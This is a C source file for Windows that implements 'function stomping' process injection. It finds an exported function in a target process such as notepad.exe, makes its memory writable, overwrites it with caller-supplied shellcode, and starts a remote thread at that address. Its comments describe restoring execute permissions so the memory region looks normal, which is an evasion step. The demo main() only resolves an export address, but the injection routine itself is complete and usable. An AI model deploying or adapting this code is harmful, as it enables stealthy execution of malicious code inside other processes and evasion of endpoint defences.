/*
 * stomp.c
 *
 * Function stomping injection: overwrite an existing DLL export in a target
 * process with shellcode, then execute from inside the module's address range.
 *
 * Compile (MSVC, x64):
 *   cl /W4 /O2 stomp.c
 */

#include <windows.h>
#include <tlhelp32.h>
#include <winternl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * Read memory from a remote process into a local buffer.
 */
static BOOL RemoteRead(HANDLE hProcess, LPCVOID src, PVOID dst, SIZE_T len) {
    SIZE_T read = 0;
    return ReadProcessMemory(hProcess, src, dst, len, &read) && read == len;
}

/*
 * Resolve an exported function VA in a remote process by walking its
 * in-memory export directory. No local LoadLibrary required.
 *
 * hProcess   - handle to target (PROCESS_VM_READ minimum)
 * dllName    - case-insensitive DLL name (e.g. "setupapi.dll")
 * exportName - export name to resolve
 *
 * Returns the remote VA on success, NULL on failure.
 */
static PVOID ResolveRemoteExport(HANDLE hProcess, LPCSTR dllName,
                                 LPCSTR exportName)
{
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetProcessId(hProcess));
    if (hSnap == INVALID_HANDLE_VALUE)
        return NULL;

    MODULEENTRY32 me;
    me.dwSize = sizeof(me);
    PVOID modBase = NULL;

    if (Module32First(hSnap, &me)) {
        do {
            if (_stricmp(me.szModule, dllName) == 0) {
                modBase = me.modBaseAddr;
                break;
            }
        } while (Module32Next(hSnap, &me));
    }
    CloseHandle(hSnap);

    if (!modBase)
        return NULL;

    IMAGE_DOS_HEADER dos = {0};
    if (!RemoteRead(hProcess, modBase, &dos, sizeof(dos)))
        return NULL;
    if (dos.e_magic != IMAGE_DOS_SIGNATURE)
        return NULL;

    IMAGE_NT_HEADERS64 nt = {0};
    PVOID ntHdr = (PBYTE)modBase + dos.e_lfanew;
    if (!RemoteRead(hProcess, ntHdr, &nt, sizeof(nt)))
        return NULL;

    IMAGE_DATA_DIRECTORY expDir =
        nt.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    if (!expDir.VirtualAddress || !expDir.Size)
        return NULL;

    IMAGE_EXPORT_DIRECTORY exp = {0};
    PVOID expBase = (PBYTE)modBase + expDir.VirtualAddress;
    if (!RemoteRead(hProcess, expBase, &exp, sizeof(exp)))
        return NULL;

    DWORD nameCount = exp.NumberOfNames;
    DWORD *rvaNames    = (DWORD *)malloc(nameCount * sizeof(DWORD));
    WORD  *rvaOrdinals = (WORD  *)malloc(nameCount * sizeof(WORD));
    DWORD *rvaFuncs    = (DWORD *)malloc(exp.NumberOfFunctions * sizeof(DWORD));
    if (!rvaNames || !rvaOrdinals || !rvaFuncs) {
        free(rvaNames); free(rvaOrdinals); free(rvaFuncs);
        return NULL;
    }

    RemoteRead(hProcess, (PBYTE)modBase + exp.AddressOfNames,
               rvaNames, nameCount * sizeof(DWORD));
    RemoteRead(hProcess, (PBYTE)modBase + exp.AddressOfNameOrdinals,
               rvaOrdinals, nameCount * sizeof(WORD));
    RemoteRead(hProcess, (PBYTE)modBase + exp.AddressOfFunctions,
               rvaFuncs, exp.NumberOfFunctions * sizeof(DWORD));

    PVOID result = NULL;
    for (DWORD i = 0; i < nameCount; i++) {
        char name[256] = {0};
        RemoteRead(hProcess, (PBYTE)modBase + rvaNames[i], name, sizeof(name) - 1);
        if (strcmp(name, exportName) == 0) {
            WORD ord = rvaOrdinals[i];
            result = (PBYTE)modBase + rvaFuncs[ord];
            break;
        }
    }

    free(rvaNames);
    free(rvaOrdinals);
    free(rvaFuncs);
    return result;
}

/*
 * Overwrite a function in the target process with shellcode.
 *
 * VirtualProtectEx cycle: RX -> RW -> write -> RX.
 * Restoring PAGE_EXECUTE_READ keeps the VAD entry looking normal.
 */
static BOOL StompFunction(HANDLE hProcess, PVOID pTarget,
                          PBYTE payload, SIZE_T payloadLen)
{
    DWORD oldProtect = 0;

    if (!VirtualProtectEx(hProcess, pTarget, payloadLen,
                          PAGE_READWRITE, &oldProtect)) {
        fprintf(stderr, "[!] VirtualProtectEx RW failed: %lu\n", GetLastError());
        return FALSE;
    }

    SIZE_T written = 0;
    if (!WriteProcessMemory(hProcess, pTarget, payload, payloadLen, &written)
        || written != payloadLen) {
        fprintf(stderr, "[!] WriteProcessMemory failed: %lu\n", GetLastError());
        VirtualProtectEx(hProcess, pTarget, payloadLen, oldProtect, &oldProtect);
        return FALSE;
    }

    if (!VirtualProtectEx(hProcess, pTarget, payloadLen,
                          PAGE_EXECUTE_READ, &oldProtect)) {
        fprintf(stderr, "[!] VirtualProtectEx RX restore failed: %lu\n", GetLastError());
        return FALSE;
    }

    return TRUE;
}

/*
 * Full stomp: open process, resolve export, stomp, execute.
 */
int StompAndExecute(DWORD targetPid,
                    LPCSTR dllName, LPCSTR exportName,
                    PBYTE payload, SIZE_T payloadLen)
{
    HANDLE hProcess = OpenProcess(
        PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
        PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION,
        FALSE, targetPid);
    if (!hProcess) {
        fprintf(stderr, "[!] OpenProcess failed: %lu\n", GetLastError());
        return 1;
    }

    PVOID pTarget = ResolveRemoteExport(hProcess, dllName, exportName);
    if (!pTarget) {
        fprintf(stderr, "[!] Export not found: %s!%s\n", dllName, exportName);
        CloseHandle(hProcess);
        return 1;
    }
    printf("[*] %s!%s -> %p\n", dllName, exportName, pTarget);

    if (!StompFunction(hProcess, pTarget, payload, payloadLen)) {
        CloseHandle(hProcess);
        return 1;
    }
    printf("[*] Stomped. Spawning remote thread at %p\n", pTarget);

    HANDLE hThread = CreateRemoteThread(
        hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)pTarget,
        NULL, 0, NULL);
    if (!hThread) {
        fprintf(stderr, "[!] CreateRemoteThread failed: %lu\n", GetLastError());
        CloseHandle(hProcess);
        return 1;
    }

    WaitForSingleObject(hThread, 5000);
    CloseHandle(hThread);
    CloseHandle(hProcess);
    printf("[*] Done.\n");
    return 0;
}

int main(void) {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE) return 1;

    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(pe);
    DWORD targetPid = 0;
    if (Process32First(hSnap, &pe)) {
        do {
            if (_stricmp(pe.szExeFile, "notepad.exe") == 0) {
                targetPid = pe.th32ProcessID;
                break;
            }
        } while (Process32Next(hSnap, &pe));
    }
    CloseHandle(hSnap);

    if (!targetPid) {
        printf("notepad.exe not running -- demo only resolves the export\n");
        HANDLE hSelf = OpenProcess(
            PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
            FALSE, GetCurrentProcessId());
        if (hSelf) {
            PVOID va = ResolveRemoteExport(hSelf, "kernel32.dll", "CreateFileW");
            printf("[*] kernel32!CreateFileW in self: %p\n", va);
            CloseHandle(hSelf);
        }
        return 0;
    }

    HANDLE hTarget = OpenProcess(
        PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
        FALSE, targetPid);
    if (!hTarget) {
        fprintf(stderr, "[!] OpenProcess: %lu\n", GetLastError());
        return 1;
    }
    PVOID va = ResolveRemoteExport(hTarget, "setupapi.dll", "SetupScanFileQueueA");
    printf("[*] notepad (PID %lu) setupapi!SetupScanFileQueueA -> %p\n", targetPid, va);
    CloseHandle(hTarget);
    return 0;
}